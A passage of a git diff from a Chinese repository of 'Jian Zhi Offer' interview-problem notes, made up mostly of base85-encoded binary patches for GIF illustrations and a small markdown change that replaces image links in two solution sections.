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

literal 0
HcmV?d00001

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 2f2a0c9a..9aef0919 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -287,7 +287,7 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 
 ### 使用栈
 
-<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif" width="500px"> </div><br>
+<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548503461113.gif" width="500px"> </div><br>
 
 ```java
 public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
@@ -372,11 +372,11 @@ public class TreeLinkNode {
 
 ① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
 
-<div align="center"> <img src="pics/cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
+<div align="center"> <img src="pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif" width="250"/> </div><br>
 
 ② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
 
-<div align="center"> <img src="pics/e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
+<div align="center"> <img src="pics/_u4E8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif" width="250"/> </div><br>
 
 ```java
 public TreeLinkNode GetNext(TreeLinkNode pNode) {
diff --git a/docs/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif b/docs/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif
new file mode 100644
index 0000000000000000000000000000000000000000..f769ea6804dd27d39b388e96639463ff804c6e50
GIT binary patch
literal 11264
zcmdsdXH-+&y6#*lkc1XO=pdm<6$1jHd`LnEK|>FMNEZYYP!SO{p?5=-CI;zPC?ZuQ
z6cH4ZB27UNQ4t#`AU3#s-`;1BJI>zc+;hhLbI*OpGv-+9UGJQ$jIo|M$9x`hOEVo^
zPa32FeFFgbS76W>K|w)zd3kk>J$v_(t;{WH);6KGw!tngC;g6`4GBGe>U7-M=z^HI
zveeWoIXNYT#pSHhnyT9RhUQz%?HwI=y4XE^_XZx{ADF(^yL7*A?cu<;p@)Cs(cs?>
z)*cVdPftIeeg1rI;raaH(^t#WuQ#UO{`_}%w)kWA-S_#W^>-h?ep>$eb#-lheSKqN
z<NIIn<HwJmKY#xED}MhKoBzMW*4EZPzskQ%ZkPQ>`G1V?FAM%<@^4-K<)#0d<iG6u
zpFiGz<?4Sv?Dh!%t%B`h=`F7PrVjST6soC)8W9cw0HnVo5d8oNRJV`8pT7w}ZGtwm
zghf58D;6c7?ABjj+LMTtwJNq~xN<L5WY5u={)V#q7YN2F5|)kS1KEo9wQd8A6%Q{G
zy&n`?-mDxd(mAm-GjOx&@nv!>M$)ROdZf%ETlvs~rkb%TYMIp~t6R0>S7|qo&OW$x
zb+XQ*Cq;5!^R?-l{$sU=9yVWp))MmS!KHl{T{+M^GJ`r1#@#VUthLT<wg)Aa`;>tA
zIGqej7RB>=C?-K&KF9W8iGMH%MtsNgL~=xupzatnX8<)M<YiwM2BRiClliin_g<^I
z7nSOr07nW(60oY+9>xwW5yd&Pu9$8C4(rt<4>m_S$BdPxT4-!c%rm&`rbKl}cL#iV
zM&#^-bx0x{fmI}si#yJld^AwQF3zxw{1|e0j~;GLCTkiY?4vNui?f(}%8T@0hQsix
zA#k2+N@O@mnCT&m;8LbSB<-|5Y4|&(IWiAy7ipLWr9(32>E=K3BAtupNH<W?@B<{w
zOnoe*ut;aStM8!pz<5>J=?FZPC<A|FJ75DBQuH8@G^y2WG#S%GPkbXeHv`imkYjoH
zX{^{(m@U1FFF}%N%%?bC{gxs|9FBz)?WnOla3)}IVC7or9I#x1A_s5W0N_#3A;VGx
z=>0Z4c$5$W#)V3FlQme{{FGd18^SpKAb_q&+2kDz>45}P&7q@b-{>*n@(x5ck1#iz
z2aQ;zSNe&Vcrf8Rhvyc;5;TahJRjr{421LkN*8oUSlM(fyi}KQ0v;M@%!4K7SKVk=
z<5VVDhmCzeH!%E5DK&akE*!V^77&a+DY;V0#Y~hxlJOpiJ8Nf_4>FO+1vbyg9gWY_
zm?(=V7(#B*IR=q*s^enIvY!4t0%!7LHdU4{l^i3ufYun8`7lf_m)98xfeUCRi}7$4
zQ@bHCYG7!G9?b*5P^!!>2yOx{C#scD^B*kBu)2bIsbIc~L>^vsuN)`W0d5^OIqvy6
zRhMv7eg5;R8EYbR`k@QPdlPLK7PVR;s$&@g!w`2-c%Qh_cLmvy-hUzsv0B-@4@0lg
z3&>7Z4Dy~Rvj84plR^eO={G?um8{QV@XoB#{cq>Swzu`1f3I}-UcTTpd1mXgc(#8B
zg{+fQNU>z1W$YgLKISD8DI7us7AP}d5*d&zCXV&~nmU%jaYJ1=a7gZ#)7cv$xElbT
z$m?JXM^#4y#LMg#%ibFI`3&J6pTK39kRk=G>A^rd&^h$6JF=Cjoi@MUoE7kJpjfda
z*cQuCA`<<)R`sO})NZ>OBAZW+P?S8KbV7KLg>k`^a}lq@42dAp$)cywzsi@F>cn%J
zCLo~d5xt2S#`7gwWJ_UJk}RyR;4b#}?zFpy5Mlzv4lINT8cL=OCLx8$0HEjqiF)-X
zYixgLYZvQR#&W~=;5q=lE2&JvhFYqY5g>4M@D)Xk3YvV$$X#>>fm5kpr*<w9__L3!
z_FHfQf&)XYTn;U2u5E_8kY-&5;~+qS)?c!-f*=epfsXOe$hI*7kQ&yK+TO_I26QFc
z0TVSpR&HICFP8{`&Rv|9XA(yS%JheBOE?JWPavMIhJX$`yDx1gH<b(wcb!N=>5wty
z14C%QzBqa9B@%cryu!wEcj*9_km!CvzY|4obNrBi#W>vj^|-?3_8MVO^nkMv8~Skj
z?F%^~h*;lK$g9ZaMjmbG7F}hvNgP3c7#McrpDV!T`YEN;Y{S>cmwyc|%5ecGBV5z@
z`|S#g^fMr^MAKPr<Be7NbQAsVs+m0Vo%Latv7%2(mqTW1RQOmHmp@s8pLk_OE-aKS
zHokW&uF?)&5CdrRD+e40VNJS@mXB`wx?JZ&B9@15Xpj>;?~L#u2n^<<93XG=K3&Lz
z-iUF80i9B}(6K>ut5zA3Mz{G^I}V#VRl$p5o1g<Pi*nN;yGsEah-FZvAw<FhvTJ;M
zQ@p#AdQpgvopU6Bu~u%bt7rIa6+X1Z&4Cir&0sIs+@OhBUXdWGjHKY<GCdmKyl1Kx
z!9h2ez~PV$3pV~=mt5}+p2#aA?*P2SgU)^|2u@%lgxb(g8*j9oD5U^5Wu}b}83H17
zm|O^iM`<8ME%G72ej@p+u>iNYD`L74fT$Kikq!faC7NlB3IRxw3?~l5uNeU#$6h)&
zGH=6ekuP2})ywC{VsN<uxZGkFpIVyd=l!j_<WY3^YATc4SgtbEpy42P?nR~vy+kgr
z!TFfm<IJF#zOC^UTH*AQtbBHXs*r|rp7s>eLFc|zbBgTRk~dOO^TA<Jh2!=bu>ddl
z(Dfa~qsSVEp$R_l2*+%~Q3O(MkQc<iZ;z9P{=U2^I*7?V;pj)E?{4XZK`e6C+BLii
zXMubX?F1+KH~w~vz)nMvJ!O}SV9>RQogyf9p2D4+puT4LQb~}jYlBCj2;ExKh-}N~
z9Bu@mlQhD<$~m-jNyNjKG#yuCd+0q&hux$%9j7-i6Ih&PKdfJKGA;E^w)kAZl;%tI
z!h(-D9hE%_hGr_aLbIl?Zu*#Cd>(GIp9l<p`oN(2`qqFe04~w4P*ne=YVtbH{6NRf
zC~eXmXQLRP>Z<6szJAx`%A+$q&z`~$C(8;4=7=K*kI{z7S3T45WLf=rc{I3@*_g}$
zz%>!h<olbHb2(D}Gjr0NNyybR$1nRtjw!vh;OXNEz7nSmcKV+g6dgUBY*5jGBA*%5
zA~R4rghZ#_TGDRT308l5KjvNTNYS_3+Be%d;6mic9vXn9*#cBP{qgIH`9dkvNoa1Z
zM`-yJQH%wU+5jQ4e^FGE4B!?3p*;-oZOp<YrvL&+1UrKJd+pz;fxhjTph+DjYQezl
ztc$_3=&(Qz_G;ngG%9KZl0;EZWb%*EZ1+{k2>N8ejCbv-I4m`e*0v>LXKcm+xUucW
z_rx|27j1s)<YRDpxzJ7RO<_>=5ijA8m}gh)k$F)~8Ct*$leS}HiWH4f+{BvQ+Go0g
z$YXn+P_jZ0awjgzPe6Li-|Jf?@QR8K2Wt<yqu%8rWe+lIq;paf@A3PSFumd}bo>b1
z(Q{v)>A4?O$9~3Je^8)f`ym7i{5pcKG_%$phhf-$KjWS8fI&dPI_{m>D;>y7Jja;}
z%X;IgxlG%Ejlqh*+{(|Itn5GJ>&KmRuydVGRHRE1!B#U~*uxPWvHu<Z<Xy*OlasNq
zRzE)y{$gy5j3YE)9`jApNrD|mXoVJh;&nn{jPUb&wr{r{M>?guyE-2054fldLv=U1
zBpP!0SeO>ztB*Unc#emvYV(qM$kf7E@qE}RAF2FA*rLs*+-dw4K2c^I1`i31)7t-s
zf6~YM(2Iq5Ezhv=wM63b0lz8R9<Ah@{Af7!h$WOjxtARC#O^Z9HYg{dZ0a1G2<2M{
zC{^0kqTn{hv65>k4U6Y4&{Fq=rkbK`J0e{0L~vyzwNe4VF5(aMS+$|y*CJd*0dVP0
zW8aUzUWJDdAumM-x$zWkEjS=T5!LC05O0otd}@BG(p=iHDckX!jHjq03;hDzY{y!i
z16B8EN06yYDA<<f1p`|MHs@X&;dC<J=~WX1w~Q>1kG5)n7vnQjkj~%xsYO`Yx=8BB
zzEpCkQ(6QyBKJh2JOl%oOa1Xp8~EQ7o0jMM6J);IW#$2?fFu+vcz>pU!nh+Z0mMYO
zsBl8MHSv4^=q}<lsW$RTHrZ=H{EVICx1>%TC{H`rkP@$<Yp+zVnfBIIzzC=YBnj3_
z@eJULmO)`c=IBX)T)r^(8mu`d9o2C|FoBb>py4p6dy`kUaBvpoF2ZubkX_8*oeN3^
zXeOYN1Pz%q?&Tc!@#yY;sy5kGe;A$-2LwTE%Qv7moR6-DF1866GSiUt$=55+V?5wh
zO4O$D48vtjzyymTbOEwACle|$E-YI=p->MXvdXbDho+IBUcoyeH@0XP-a=xmbV1$s
zA@`e%F-K^9Qwu9GoKH~{G-N@&HSXK<fD*xKWgL9H=b%fE682!4$p_~8Vjl-6QjN_v
z3f#X6c&*F1r3Vx`mwN6YKvM;m-F*O8CEUzJ0U}&%jE~?f^)#r5E3hCDIwTeXE7J8s
zja*EB7wx!GY{2#u34uhZFg=1-r%#y0l-myBV*WzUF>P47?qxUWGP#N4;I(UkDb#@W
zzz^r|E)Xj6@MHGVcFy@8e1{F3&X-s&vk5&xP<GaL$;Nxa(g(oDd?A7E?6bK!N}4$F
z;rt89LLR8lFvonnGp_wjIrS;txV6&77p@Y4dz1yl8ioALGtJ^dlt(T_a$a^>fp0qb
zMeQ9gKK=k(M1Zyms`rJ$k@cY@`O7i2{G}_U8MSyZX0F+|%Wg^;+M~=QB}#}|6VQ~%
zyW~eH1bb_%0u!<%O^+1(z}gf7S>jcT6*y-I2tZrwUpcNufw_p~9kGSI_N$;dRA@G!
zy$eBDq)-t#o+!MZj{rQy1cD2}f!ZpHZazCF;IXp6>2{D1DRk)R)uSd=+1Ubgu{gc@
z>)u^Q-nUzam|c4)2BlkJ#fjzKnE@q`byB;4HXEb|$Q0pBDlvjZSO{7!sg?_TaYlfC
zv`l~rxS91-iUNX}<g!q+?9_0r9j(a%>22k<D+(z34XcIFn!-&1!)1`J3)^^_|5{mS
zr+?#H*{c-kYvq=OEtu<z;pH|t<?IInhM>`ai}hydqJ6E&g9iczAutI-MBLcTa^35`
zBk+#eM*RhgJ7ogebCOQ_&HVa8mW5|+H234^SH)N0n(S)teTBkTg^GYbj(#&z<AnbY
z0mFLr&}aE>?*#)zLDW+k{Ddw?y(TvSnzX|H7HlQ0z~zY%-dts31c<vnn<E4$dqG+c
zFJiFZYyftk5fnbt#1a+o;Q%6lmOj8U3|z-eqt|a8xRP_^8(a?DG~lX(mqKSzpbn{g
zo?#867SqH9_XvZ@KItIy!<-%>ja(NYmOJmJickg#aFHRU;X7H*XJ+;FkgU*Fc!P+F
zz~cc3QB(&jg-Wk_2o6JE-k<)W(z)@&)K^UKMsqRT7UG~5<2*`c_0K$4@wk?1@b)ZT
z1f1rj!`^<6QX)fJ??FU)!O`zGxaO`&<kGg+x6!9_q=zAidT_(F)z+%k%w#v8@EH-8
zGmNrO1$Hy3s~+P4qw8AiV!{yj+QD$+kx5B;Ul<i0nf(3ij(P}%1>fJ}cV2Y<!7$*H
zu+ja{c{PVkc^Rq@K~-i#90b5m=uugLYm=in>LHkDjO5(KmqLPiSg_Rr6sc)C#jxJC
zL$uJ-0_1}1oSqd0!QL3K`4APmgJ2!VE!h18ME+r^G<OkCZ!rk<o?FaK4!oyLsR9<s
z(gf?5?f4?Sf;|<m(-)zfVu8sdTYX>HIHFIn%XC^NMVfW~c`aTt86<zOQl?w4KgI8}
ze^~b<xYiBlw-Yi|?e9pr_Qy&fM#<sH$sKm3S)#*^Vv0sK{56cAyh7~<>b3#%laBq9
zO;)xxVcfZ@EqIzs-k=EV%LM-9y@ze(upm?$#nW#mJ6S9ObgJT7!uvY=;~yvC_pqHv
zGY6Ch8Z5drU#7VNk9zYF>j~jZ0`^XZgg{Wv;GqgwF@9uE13Ku`@aPj5qQ2P@f)Lc9
zh7AA*kM*TD4L(TN#K(>rgr+MH(??G{mXbF3F_<=EF(wt7*=9i<I*ZQ`9>%T(P7UG^
zA&I;;kvC~iR48d}i$|Zk;eYmz%xF4UU&3jHWb_0jAq()rWT!Ea3zHrAIOFkA&Haeq
z!Hqdj%AM0KC=jB4baXXIL{h-UdtwAJX2Ea&Mk3Q79v>t(IkGx(ibufLAU(cdVsEB>
zv;p&cG+qEZIfjBib)4GW;205X{nck$i2^@3G{I3{Cg@DfzGG_xK}hCwTd$e(B^<eR
z{LIG4^>kcgLTd5i(S|6zio#TzPrKeMe^A6&r+@NJRlNRky3y<b@3k?rm(zm8^sUur
z5}TP+IfInSyobh+;_Z)CKa*z7x)N%6tR|;gjcxPOhtjNjrd3veVNHs8@Sr}0IuN~|
zhYFT1;fkmi_y?dDI?t3wjtdfBe8~wPmBhu(gO|H3m9SdKy|c2CnSpO+jaIyy29vF2
zUz)81!j4&Ya=ajo#PEP;(*02Q;tOT<I1wF32c3!ip+~rxb1^5=2}5`+5xfmf67Qce
zrBt69cWg;`$>g!Ky4AKLL*RVaK!c(+aTVW}(r*=i$aorW$OiD`LH&E-m?69v>rVG<
z?7$Q-%?R$g{W7~eE8JSJn*yBF>>7GcV)n&z4ZkL!CNW?^zl3(Ez*hMk*bFbh>r)Rt
zzGVAbzR9LkvryqJBm%*~Y0tX?#Wh|kAJ6czUL9zF_a@K%J_)VepFdD~>aG{ynT`F?
z0+gJZ_o++rnU9Rd!Fth9^dr3f+?lB!8z%wK<2k>Z-@dC<l5g?>Oauy1fb{C?5qkx{
zkDTHs7i2htW21uY;_Z^xmfTIdkwmCxzhFbJUJ;w%UIp3;q9xeRFF3$beZru*QKJ>O
z9yUkV_gS{49>ODlM1SAa44>Bp#|GsDu<}aw2gl^YS2uBcS}K>+psfxmZn7yqfI8Lh
zUbv<8?NkQz8E0EWMOVsDjUXj&U-TQG5b}buQmpF%@lrPr!U^DTZvu{fMPLg@GP}04
zA9l_YC|o%GvrCLL?6F!vOBuo&u;58vzFM7&lpN@EjF2I*bbDjSx(=>a50^+0RPOT<
zYliQCysEprDpQFySPmgvK5Esu>QcAHQ)2!VQKo#_Prn6U{BW8(<x}8sfyU+>Non_Z
ziEqXf=ky!cMW>mF#{!4?>Imx6^=sdZOCv+hOIgi)Nw~l-9RJ>5_;vbufr9a`;wuW6
z<+bd~{6W><;V+NI-Tkhq{=9Z3R6_BGPJ`oFK7KDV_i94{%cr%<4fDQRKRPrLRVfP2
zem^xJ=QKlX#;I?&J8?Z)?MjTOHiKUZkYeWnY~1GO?+=b+U*-H#<j)>5{1t!mhY<f!
zf2rS6nO?uGS6VoJKR^5;d5gb5=*RQV{JQlU4{Oio+}#vqIM*G+@j5qs>Ew40|BYe9
z-s)Tjo)9_NW`=u*Nj~+ZQ38+TCKXFgG)@uR<=&fb`^qds(%>9I)J~3sz(l5*Bo8C#
zoQ8IH<3#P>SQlyuXXOtA22_F)vnKR2P3T<6;P4r|G(eYe?OT|c{(5A%%<;PWy@TU%
zu`mcFK^taMVv(F22*u^OI3o_Q({E@)mTnTibH~ZwV&Os4Hv<l6#*5RIJ-TQ16PKUP
z8DaX;#a;c$+na`>oPh}DTqDtx2WUub7I%>WbT7l^aFPU_@_Oj{p-x^UPcno~b7iwH
z>7VB6!(q7dsYDoEqF(e^7?yr3=xOsQ!?%~ZNg+dh*AL&nOQ6T%l}pY~UY9YA1zZby
z)fuxM7uxiiNQ=DgcO$-V?XSImS?WeQ9HCs!+)bXbW6=SegGlL&RTW`_Er6%)g`vqT
z9pvs_Y$Y7i&+b6MgQR2YKG`oP^63A<_Htv$9*NwC;~L74sQ$TTyrUfZHrJ7BD`pZO
zQ`Ie`#qDZg;?X&E@fhMhK7BN-nr$rCWuG-5T_@3qfLe>}$bu3g9=m=uEi^v-&env8
zs*?^O+Zz^|_T4ZM|IJYy(#y239e51LvN8NBo)RPb_1C8X+!OJmF%<OpN6X61xK%w4
z3_E*d8AIml;847U|3i={uWn~c5@$0^_3sTqFr)Z%z*%mhMRI&0cFU<t0}x_qojs0l
zE!T$xaOm{-F52N>Q*9NLj(j)?CR2UlrmxEEt@tBlHrmhf@l-J3*VUazJXSL+$UwS1
z(Vi_J8k}<G;Ptqr1$Pg2YT@7}J0FU+mm$Z5d%sqGK2)-nN4w!aOY&rLEVn$Lk)e&Z
zpW}M&2!mmrbY7+Z_$@q6m(Qbn(RWX@E~HPL5@|V$RO7bKG|&d#*+-7`&s@}htv%B<
zC{J=a_I0yDcQIaqIOn&Ii%ve$mGnt;yon~H=g**8oRQ}~H~S$5REJL?uGDAf`AZ`F
zTivI9j$P+WNPlGCEZ&_UE{){%(BBU~dHcq-O3^#wORYA20C4F&x*6lv^_)8va2yXG
z;Kpus_z1k)Y&KmxN1mhKdG!Z?nq;d)CmU^Z0o{9?OM4*&t|Pfxf8O7N?x{b-a_Dq@
zCbvGl>-sFjI&>kDvt((Lh=lXj6FVh&BW~Ki;)@X9=(O2L*#P!aOf6*1WU=iBu8n;^
zI!V%9?AfY8HXXL(4m0X2TA28IO<MTHf{j%ObwtfqpYV&Dq)s{SK$73As5!@a7RURl
zKNfIrEW$YR2YD6~FCo;HVapGPkXURNdPj(#euT&N{uZOsk~4<0pZ(dR3C>+yuRU4B
zMyoID@^ydY)N7@~5Ci}x5?}%>HbQ258u~zmg!?I+YbSanKGi20a?fK^73s2X$N^eW
zv%LOf2FL0VaQK%MT$vgx>9%5OIP8UNx1jIlC8T*jVTd+}kTjPFoVu-DlBcL<KI1DH
zX9l}=yw)){5*lSDn)t{Fwpo~Ik7izo^O2L+wX|{?&AQm@vs0_ha)0<}_GN^xqN%Qx
zUEXL;m5HyiW1E$ekp|&Uc?aqT8bI|Jm;!r%1xQpMRR4bp8bcb}&$HcX4E~q#P($N^
zhQ@$~#(fRV4o$6kE$s?zog$KMrmkL+p5bW&V}C=lLq=wH6eF{}dku8;NZMq5eM=)F
zTMG*p8*2|L)z{uGz|kSd$uW%P9N|Jc@9L6x$Ti#D?UK7|wfn((H`+~C=UWGznq3@Q
zXbvsT_J4<yT?@^z)z!J}uxq>5;r1gw?ScLsp~r5Y3cG#!<n1%z9cNCrMV@YnJbg1V
zqCPU>>Y3A3kr8EQ&y<{vERH&xA9Xf2Dk?WRD(_tMKahJaI`{m!zk_~0XB!N94ug>s
z6O$7glM@%46Ca<GkdTv<n46rOo0^iBo>suTz{<(4&c9e!Ty*Pl$(<{uJ>^&W%gY8U
z${tsgjaHODsVpC_ET60_pZW{amF0h;s$v^Y{|PfSRnM<qUAT2~vAy+ESLe#Tp0E9V
zs}K6OMeS{@4?g$@{;qNVP3iuxx7(Wd{}GRe)*nAwAAY<x@_21@cy)B->)7bmCu3j6
zpM04ZUzwa-o}T*r?AfQ;*-vwGpXOhFdiCnl>(`&(y!pJixcu(j^85EIA3uIwUS9q3
zWqs{W4gK4;jQ;K0_l=EzXz1Je`JaO6=H|A%>5KX|c@tASu8`8bEpKAvvN=+WlSTF%
z+?TyGuQH7wJNlAVcep<rHF?QW_JQ1kiwN^j>u-FOLy>`_!!M7FRjOvR99@q>E7(Ys
z7~4LbSKQ}6%9Nd6Jn;iB+n!tg%aKPZMOMGoRr--i_M7a7^*Ha)4;(_*yGa3W2&cF*
zh3>lqzuO@(?RVJy4r1uKW`$tA5mn;lZ=R0F9)C2l9*Iq8Whkp=EC?kEPA1H<&mTMa
zNJ|xdsF1WK6jolL8>F8R?VA?$>f$Q-jD$<LtLWAGV9^byF#O&+t%HqiV{FJYF-=0}
z*iq5X13TN+G=q9AE4jW!9t*z<ZQftGadYEy<|O6y&t2H)FSPW_dl_F4soe(#CKsQc
z8}-alqJ@kgg=yCO_ZS@USw-SY%ffbex07C6YORZ2((x@PyYHF8GrKb-zF1!zW@JuX
zNmZXHufCGfw-}Zxi+T_;t?+I2Nqn-(o9ePu@dsEg)mx<|ruc%nE3Y#3y>O<2_IEVP
zRTX8F<Wn0=JdxJ6WZl<!N@Di%)<q@*uk-p8r(a05r`1%d9|}pb#kW)|DX1N@I+>gw
z7N%=?iO<y2r{w5T_uHiNbLhpqU@y&wrD1(v{0h@D0tQ)}E}s77c6R)>_(N_f?=oGj
zAzOT0#E*cC^HeJ;J~KbEHswl9MtjoLx`P6Nm*Xdt<%OwaAEZ#z-GlKaw&dEY8MQ)q
z(_QzMboMn~ZGQS8C6>Hz7~i*F1!-}~x@dmq1kMC0IK6}+SlC+QR9We)oYxJ9OEly0
zug#9`!xy&i`&82`;%|?)Qx&UGRe$P3kbl3Vh`#H%>s@m3CGO-2rh~(mx0%gUFOR#&
zJVRM{*I%{+^0~iC<MGI6+6xR$yOsO)5cGG_R{E2)vw=NG|L>6Y-{|z88U8=Y|BZY9
zx&9xSf7$VG$?f)kC+*$r-KsZL6-pFjQ)Hzgq{O_$1P=)D|H03z#>*|sjS<J7@Mumf
zij$j@1I@9$dff&GCkH2r6NN^jF&GRN7dH<N4=*n-A0HnU%a6ke;01+*goQ;!Ma9I$
z#3jTfBqbzw?2sZ5q-AC0<mGoNDk-a~sH*K!Bkm?@Y@2!ZXliL`lSn$cx_W=;|FQQE
z149Et%3iXOA;p+tWNKt=W^7_^YHn${Z~p;X2YW}Fi|e67?w+3Bem;Hye*S?0fx&^n
z$Ad#o91jZ*3y(Z?=KNWD;<>mqMiMhFB|9-aFD?60X8x7DOI1ZzuCb~cE3UQF)OTFJ
z#lG3m*U>xN{cx&(^u^%B!sF@1;h7I(b6=m#uT3m`n|%F!>diKO{5$i{|E$xeZ+|>{
z`+er^#_Zc~vv1d5y#4a>?ehHF&#&GsFT7iMz4YbH`;~3H`}pPkr!OBrfBn3&y8LDJ
z%j(+N+PC#@+n%PsOikN#{FkZeAHJq-bJKst+O$pD_J5MLN0;h}InjUfr1187nNbb4
zN&Dy%9R+5l*$?e)PYTZ6K-O&Tx9mWpeD8T?+G^WkW91NI3nOZa|5AA%Z)<hLvh7RN
zNcz?z(JuSC#gQuhEoqIgYK13Pd161Q;~ptZ)FHMm<;Xr(q1A5*iHe$hz2+KyK24`_
zY5nRH>G*>QgP)%>GYx~kd5xR*_sg`$Tu!-UY<7J9>Q;Zi^w_HULQN9ZbzM~RvCs)W
z(hIyw!hYWovoSI0a?x84S?8{hF(2D2XrvH{$>#5MnOS7U>5eA~{V3Vqtt>9{gS#Jz
z&MIY%xo<8XZc&MPYIS-4>`OyqGu-Cd%=1HKQ~K^tf}P#>zA_9y{7F;(#q&Edvhl0e
z>n^A(O3BWCxc|cFy`}R3vCtg(Svo=}UqaT5)<lTq&=tusCp4IQ#v>=-oVGK;Gy+NE
z(i^NqAnT>s+4t|t1P(L>WOfT3A1=MWBchkmhf}&unGIj#uE0^k%BcxbY1T$)`8=B4
zKvuSh#(e?TU-=Sxib|SH@kDE{WVMMnrONzvDhw?}E%x-4aR?qu5R9>gy~#g08el0K
zDl&3uuNl2GUM!7f_m*|aZa%T(iIx{qA`81zeJPfpTr6_j`paU4k6C;1wq<6iMk{ZX
z5f_p;`2Af)-rVb_!r|1grK-);C+l&tb?0hRCB2jU5+q|LmXzYEmAq=}E-cNz@^hzI
zU8`cyUOw{HT5tbQ!QPt?Pw3gduUgG1D8ZunDeu8Pztp(YcMTV`ygpTg2KDu~U+8Xd
zk(uij_Y=#rRJXXZ?)04|cE%#GF8^GxQ^HmF1xpKoD|d?O^TYZBMTMhLLC58|Q=5_9
z=x>?Gqjnpf4Q)(^mBc_>ouE2N_b1JL;<;0<`60G*>KY9xCep=w?LUToy_&kw@ysx}
